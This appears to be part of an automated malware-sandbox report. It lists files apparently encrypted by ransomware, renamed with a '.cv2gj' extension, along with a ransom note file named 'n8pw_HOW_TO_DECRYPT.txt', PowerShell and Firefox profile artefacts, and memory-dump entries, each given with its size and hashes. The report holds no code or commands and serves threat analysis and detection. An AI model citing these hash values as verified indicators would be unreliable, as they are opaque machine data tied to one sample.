63fc8bef9e8ef833e45d99f954a9eb99d6bbcae39b2eca8a7000ac11b976cdd0ce0581e5e5e6b2f1bb2bdc911e31690e503dad945f0a3ea702dfe404896eded8

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\css\main.css.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_JAAAACQAAAA0.cv2gj

Filesize
802B

MD5
bfeb063e064c71e44ce75898e79c61bc

SHA1
c4dcb4b6814cbee53b415a2a5df02fa500510ef3

SHA256
af439ebb0d55750003f7dbec517e7b0b26a6a0506b21e3b74d800cd1c7faa004

SHA512
0835ebe63867fba6d69a25c83dca767ffd9c57907ba76d9c71012be18510e2145a358d37c1cf4e4ad35d1cdd4f67ffd5928e70e18a376db607d8482356f12219

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_LAAAACwAAAA0.cv2gj

Filesize
2KB

MD5
4c27ad089d04cfefd979d56f2a67b172

SHA1
63289f9198ee4553759b07de7a4229ad370fa976

SHA256
e34bcd5b8436d3bc45f98dd913d41f185c6b06326b66937d6e0d5c6434b16fe7

SHA512
23f9283f769fd310dcac26cac00d2eb033763d73bd45b0d148ea1ec3a3c75b073572c9fa9234699372a7e1caad7fcde7629d004815536df1d39d291f2d2d96a9

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
2KB

MD5
61bd39ed095fa82ffd334fbd7982616c

SHA1
51af9c2cd42743c5cf81200e0fba3cfaff801885

SHA256
237a70fe0388ce6884f5424692c460625691ef7acb0bf80403ec6b25f348b94a

SHA512
54dd8e1a5c19a9d51892a12e9501b7f6f69e09e0c446ec36f7ddfd9ad0d9cef52604ab2f8071c71ce63989510a703f1cfd5492e1ac20c8b37258ba21f8952400

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
289B

MD5
36503740756a442b7be294947462be83

SHA1
a1203ae869deb46f59a3273f6d130e7457bf5321

SHA256
d188ab283c552eee50677129f3b0ffd8d97828c4e7007bea258174c9a2200e87

SHA512
6ff98b15c7d757dd351bf50a1c4ac759a73fdafe03d5fad506478550987d0ec016ba9e617c099e6bf7b0263846eddc4eb32cb70fb1fbbc1189791defe556967a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_BAAAAAQAAAA0.cv2gj

Filesize
385B

MD5
c789d387908d7b7f21c6474a86e84019

SHA1
1c36fc6954178c43d9249a5ff3c7246057c6aead

SHA256
223f32512aec50c1c00fafc476d8e4ce61e79aa748c67b72fe55514882a31a5a

SHA512
1cab85dff119b591046049b69b6208283ca5e009d95129bb407df2768c82da30fd2af8debf6f1bbd91f37518538f3ba6bcda32b63d1d278b56fdd1f5f93439ca

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\nub.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AgAAAAIAAAA0.cv2gj

Filesize
1003B

MD5
c5aab3d175e0a3753ed2c3bbd7b929c1

SHA1
3ebee0101ad62449a67f506df9c8e7dacc39f877

SHA256
2e187b74e926afe70eafe0648c7125817e99f5586eee3e2e05446e360d4cc1bd

SHA512
e967020462477c3e9465e3383c544cf468dd89f4da084193634f5bcdc001b90f5bad3f4f6dda9e95ebe068108986daf41504e02331f4922ea25e7ffee1f27040

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_JAAAACQAAAA0.cv2gj

Filesize
1KB

MD5
808971f45b803583d9d1f812803d81b7

SHA1
0f6aaecba7c976ed8c2f53782b3d3148f41b2905

SHA256
c25d9409ddf9645c2731ec785cacbb7568005bfc78fe0aec7df3ae3c4d30e333

SHA512
121e6b01125f9e9d4894f7d498bb4d39ce676ce51e29cbcd148e0c1feed46fbc58267cea7d5f66654be831dc479e4643be8b28b005467309b7df5cc7fbcd0dbe

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_JAAAACQAAAA0.cv2gj

Filesize
2KB

MD5
ad68c0b141ea1dbfcadb540c1817289f

SHA1
548a46167f7f5193c5a1335753bc208bf92aa504

SHA256
537ac64cd204d7ef82cfe41c932deb9cb1ae738b2156eff4dbf73208384c0a13

SHA512
269ae39458a9f30351166f304825b777f3ff143b7914b98e83e01600fa04c7790e6e813466c2a1c5396ce13cd2199792905cf0baba1cd28a420440efce0843e8

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
4KB

MD5
e16476b61b15e56aecfedbd5ab832d8a

SHA1
6c99e65fa223a96c8d8052067735bbe90eb62a20

SHA256
f32e003e01b1e1e74871f765f5775735cd72df78fa276981f15632d8fa304a59

SHA512
1b46cb11edb2f49bb36dcda9180bb77b364629ba363a48b0cbf05766895b19c3c9147d1056d68ae0d323ab6e067fb4bed39b5d253e27aec455e4d3cee59dd295

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nl-nl\ui-strings.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_EgAAABIAAAA0.cv2gj

Filesize
840B

MD5
32147da1c647161e45a1004eb1b16349

SHA1
a953c222cce91729ebab36bddd43bd5a795a69cc

SHA256
434731fdc6d2f5115c5f7786ac989fedef7d0f60cd2ad4385cc98f6d2160566c

SHA512
8c825f8d38519cdac2a49e4ee8a9564ae72839199562ce9acfe72b4fbb94f8946775054782cf26a9566eaf8cf944a26e42b7b372c4e7349b33a8e17dcd13df94

Download Submit
C:\Program Files\Java\jre-1.8\lib\images\cursors\invalid32x32.gif.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_NgAAADYAAAA0.cv2gj

Filesize
153B

MD5
1e9d8f133a442da6b0c74d49bc84a341

SHA1
259edc45b4569427e8319895a444f4295d54348f

SHA256
1a1d3079d49583837662b84e11d8c0870698511d9110e710eb8e7eb20df7ae3b

SHA512
63d6f70c8cab9735f0f857f5bf99e319f6ae98238dc7829dd706b7d6855c70be206e32e3e55df884402483cf8bebad00d139283af5c0b85dc1c5bf8f253acd37

Download Submit
C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_F_COL.HXK.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_PgAAAD4AAAA0.cv2gj

Filesize
114B

MD5
b8fbbc73ddde31636552ab184b4e398f

SHA1
5cfbfaea56e979a07c083f2340b10a5894812d78

SHA256
3c3702253a4695b5bcb18a2565b1d49f9f32f5f9f2442fd1395197970fa34edb

SHA512
7f0f4b098e0d37ed403be8d54e2dcbc603791ddf00e3a21747c41ecfb829fdf664b6bddda8d51309e1229b197244a1d8ae23e1b3bf3348f99f84a7a8684db8d7

Download Submit
C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_K_COL.HXK.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_PgAAAD4AAAA0.cv2gj

Filesize
113B

MD5
db9742e49c49c505b293a84518e95fa5

SHA1
406dae0b226900aad2ad2e10d8366651b848c053

SHA256
1c17b95e5098adb0c0e06aac8a8c7c50c6a5ef1b696465d548c8a922f1d3a653

SHA512
974917a72b2b3b783bb0ffcbfe0058489ae65ac0aa71ae86d77195780aeb7800848a3158fbe7ad8ddf9b30145d8a1a2c66f72484305ccf363b7981f105be295b

Download Submit
C:\Program Files\n8pw_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
d3eca3baec61c36c9353ef1699b8bfca

SHA1
f084193262e0d462165cfac58e1422ab90df7514

SHA256
3ef5776a2dfd960f996ab765efa2b117d3e3135dc8e196aa7bdc525bd4125678

SHA512
8d8eb00e0764ea07a999d0f07bd21f4f4b8169f19673de0cea833670c38edd41792136a63036477bebeb2a0fbbca5f4faafb381f8fd4ffb178d4209e073e2a17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c7cf4fec5e3212cd753869fe1e7e19a0

SHA1
2af6181fa7c37ecbfceeff4afe4156be58d2edd5

SHA256
50e13c2260e1f29595ed85224f861127dd6d51d57558b8fda5b59ee3295274f4

SHA512
b2d2e4b7d7de43c12408a55d3081c97ac811dc502f2de3f218de2355c11d809d1e83339c64bee6ed77df1d00910bf63120127fff312aab7162648844a40b0ef9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k5ucvx0i.aaz.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lo9wvv8t.default-release\datareporting\glean\db\data.safe.bin

Filesize
2KB

MD5
b20b369dc5b96bc60a10b5144a457e90

SHA1
4a3a99d23280af5cfc3eec1be13ed811345449dc

SHA256
6f2b3b63c34671ede4aceddabbf1cb6b509bf172d99fdec6804e40e8670c6241

SHA512
4ca38edb371e720e060974dac79dcf3e0088dbb58e22ce3430d4bd2e65c2254f77e487a4bec7b2ca4636b09e8dd1fe434f6896b2b1d0041bd4ce4e1330a1902d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lo9wvv8t.default-release\datareporting\glean\pending_pings\5db7509c-9c55-4ca8-9b44-e31e13c1336a

Filesize
746B

MD5
627c55eacc9a5d2a4f8c07a1c309bd0f

SHA1
e5a61d32840ef4a1eeb003f8969c210e8568f70d

SHA256
bc110a44a0b74cad101698bce2e668404101cce75e6f69d0b5786acbfa25c4c1

SHA512
444b3e1e9dc2a85c033c41ae387135e229c23a595a6836c466d5fab21c218e4cf0fbd133f7c9bd0eb411e2678e44dbcc389404115ddbec0868284cc5627fed33

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lo9wvv8t.default-release\datareporting\glean\pending_pings\b444d3e9-c3f1-4d0b-b97d-08ad1c8194a1

Filesize
10KB

MD5
7c067c103987e83d415035936c340c4b

SHA1
c913d49c2d5a26977e8d62bd32c660d8bebe3896

SHA256
4ae61d5f474684e207933798749723b28df280a4d4c7b3aad301c8309363fb72

SHA512
6ac21d747782cbf93ef8062eb70d3a40ab3e84480eac67f5f19d0f58f8e9c6f1d96d0f63597975b8706ae8f3d484bae67530df6a8f3dbca4ace4f43e9b55bc19

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lo9wvv8t.default-release\prefs.js

Filesize
6KB

MD5
e0d95b152ac58eab950ff6a84291ec6a

SHA1
530cb5cc1b2d378d6c642b616469e70a4ae58064

SHA256
bc5c500709d31622e536b4404df3fdb0f071ea0bb12dc181c0827776ae23c42e

SHA512
74f399cdf668ecfb09df45556a8a801bb66c92e0b25c9ae1b71328b8f78de0bd227d6226d7ec7c81dbc252cb322ae8fbfddd4c9ae674048fa65e99ebe7c79b34

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lo9wvv8t.default-release\prefs.js

Filesize
6KB

MD5
c1c06f8d2bc6735654d33eef72291229

SHA1
6eca118e90fbbb7bdc440695b714a8bd6e51bf2c

SHA256
4fa2c8635e02a39484c6bf67366311fa3a1ca6a8d85574910ec19fa7583ef438

SHA512
d50f0de20287bb9e7a802b0fe02cb0825c168c6675dfdf5a2c1d723e8eb6f7daf70399931f4f71066e7e2492e08d6c2eed46b6b9af4c3aa1a2509fd40cf0083e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lo9wvv8t.default-release\sessionstore.jsonlz4

Filesize
884B

MD5
a297d5f3dd99cd79ea918c81b8b01f09

SHA1
be89e31dedf96190774591cd48f5204e50f1e1be

SHA256
2b59090724858d0052b0359a00707c7ac8080c4307853fd24ecdfff41836c88c

SHA512
618ae9033388b8876190159e161e2ddb2d754ec7fad6fd47202fc07c94624f38f5844b82199bb8c7ce78a52cb6d109f2afbb60d8d141a105b6aac462e2666c58

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lo9wvv8t.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
184KB

MD5
bf20dc1315515dade64329f90389941f

SHA1
32dd8169813e136a097e3547cdcdf80f94e77ffd

SHA256
4a47b9b7cf279c8dc87f5b49ddc221df16bbf89268b99d5f66ad942695fbe7c4

SHA512
aec03b09ccaecdbd27a35b8233082d5cb17fee1b4e35a96211cce25c4fe2c1d8e75a15d362dbf1b55f6d82a4483aede67677e1e91bfa7f6f4305e4bf5f85e93c

Download Submit
memory/400-52-0x0000012EAAE10000-0x0000012EAAE20000-memory.dmp

Filesize
64KB

Download
memory/400-7-0x0000012EAAD30000-0x0000012EAAD52000-memory.dmp

Filesize
136KB

Download
memory/400-8-0x00007FF861D90000-0x00007FF86277C000-memory.dmp

Filesize
9.9MB

Download
memory/400-9-0x0000012EAAE10000-0x0000012EAAE20000-memory.dmp

Filesize
64KB

Download
memory/400-10-0x0000012EAAE10000-0x0000012EAAE20000-memory.dmp

Filesize
64KB

Download
memory/400-13-0x0000012EAB020000-0x0000012EAB096000-memory.dmp

Filesize
472KB

Download
memory/400-26-0x0000012EAAE10000-0x0000012EAAE20000-memory.dmp

Filesize
64KB

Download
memory/400-56-0x00007FF861D90000-0x00007FF86277C000-memory.dmp

Filesize
9.9MB

Download
memory/1428-66-0x0000022DB3050000-0x0000022DB3060000-memory.dmp

Filesize
64KB

Download
memory/1428-204-0x0000022DB3050000-0x0000022DB3060000-memory.dmp

Filesize
64KB

Download
memory/1428-267-0x0000022DB3050000-0x0000022DB3060000-memory.dmp

Filesize
64KB

Download
memory/1428-270-0x00007FF861D90000-0x00007FF86277C000-memory.dmp

Filesize
9.9MB

Download
memory/1428-65-0x0000022DB3050000-0x0000022DB3060000-memory.dmp

Filesize
64KB

Download
memory/1428-63-0x00007FF861D90000-0x00007FF86277C000-memory.dmp

Filesize
9.9MB

Download